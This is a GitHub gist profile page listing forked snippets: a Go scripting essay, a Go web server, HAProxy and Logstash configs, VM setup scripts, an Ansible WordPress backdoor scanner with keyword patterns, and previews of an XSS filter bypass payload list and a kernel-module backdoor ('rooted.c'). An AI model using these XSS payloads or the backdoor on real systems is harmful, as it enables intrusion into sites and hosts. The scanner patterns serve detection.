Skip to content

Instantly share code, notes, and snippets.

View dtherhtun's full-sized avatar
🎯
ʕ◔ϖ◔ʔ

D Ther Htun dtherhtun

🎯
ʕ◔ϖ◔ʔ
View GitHub Profile
@dtherhtun
dtherhtun / go-shebang-story.md
Created September 17, 2019 05:36 — forked from posener/go-shebang-story.md
Story: Writing Scripts with Go

Story: Writing Scripts with Go

This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.

Why Go is good for scripting?

While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.

@dtherhtun
dtherhtun / main.go
Created September 12, 2019 08:56 — forked from enricofoltran/main.go
A simple golang web server with basic logging, tracing, health check, graceful shutdown and zero dependencies
package main
import (
"context"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
@dtherhtun
dtherhtun / xxsfilterbypass.lst
Created December 7, 2016 05:50 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@dtherhtun
dtherhtun / haproxy.conf
Created August 7, 2016 18:07 — forked from phobos182/haproxy.conf
LogStash Configuration for HAProxy
input {
syslog {
type => "haproxy-access"
port => 514
}
}
filter {
grok {
type => "haproxy-access"
@dtherhtun
dtherhtun / gist:a3a556af77ff8fefc745faf9082da4aa
Created August 7, 2016 17:15 — forked from ravibhure/gist:7523642
HAProxy config for wordpress
# HAProxy config to block /wp-login.php and wp-admin POST method on wordpress webserver
global
log 127.0.0.1 local0
log 127.0.0.1 local1 notice
#log loghost local0 info
maxconn 25000
#debug
#quiet
user prod
group prod
@dtherhtun
dtherhtun / wordpress-backdoor.yml
Created June 20, 2016 07:37 — forked from speeddragon/wordpress-backdoor.yml
Wordpress Backdoor Search with Ansible
- hosts: www_servers
user: ubuntu
sudo: yes
vars:
folder: /usr/share/nginx/html
backdoor_keywords:
- "FilesMan" # OK
- "<?php \\${" # OK
- 'mail(stripslashes(' # OK
- "<?php \\$array = array(" # OK
@dtherhtun
dtherhtun / rooted.c
Created May 17, 2016 08:27 — forked from leonjza/rooted.c
Linux Pluggable Kernel Module Backdoor
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
/* For our shell ^_^ */
#include<linux/kmod.h>
int get_root (void)
{
@dtherhtun
dtherhtun / start_fedora_cloud.sh
Created February 27, 2016 07:09 — forked from amitsaha/start_fedora_cloud.sh
virt-install + qcow2 Fedora cloud image + NoCloud
#!/bin/bash
NAME=node0
cat <<EOF > user-data
#!/bin/bash
echo "fedora:fedora" | chpasswd
yum -y update
#!/bin/bash
if ! [ $# -eq 1 ]; then
echo "Usage: $0 <node-name>"
exit 1
fi
# Make sure you have all dependencies:
# yum -y install libguestfs-tools virt-install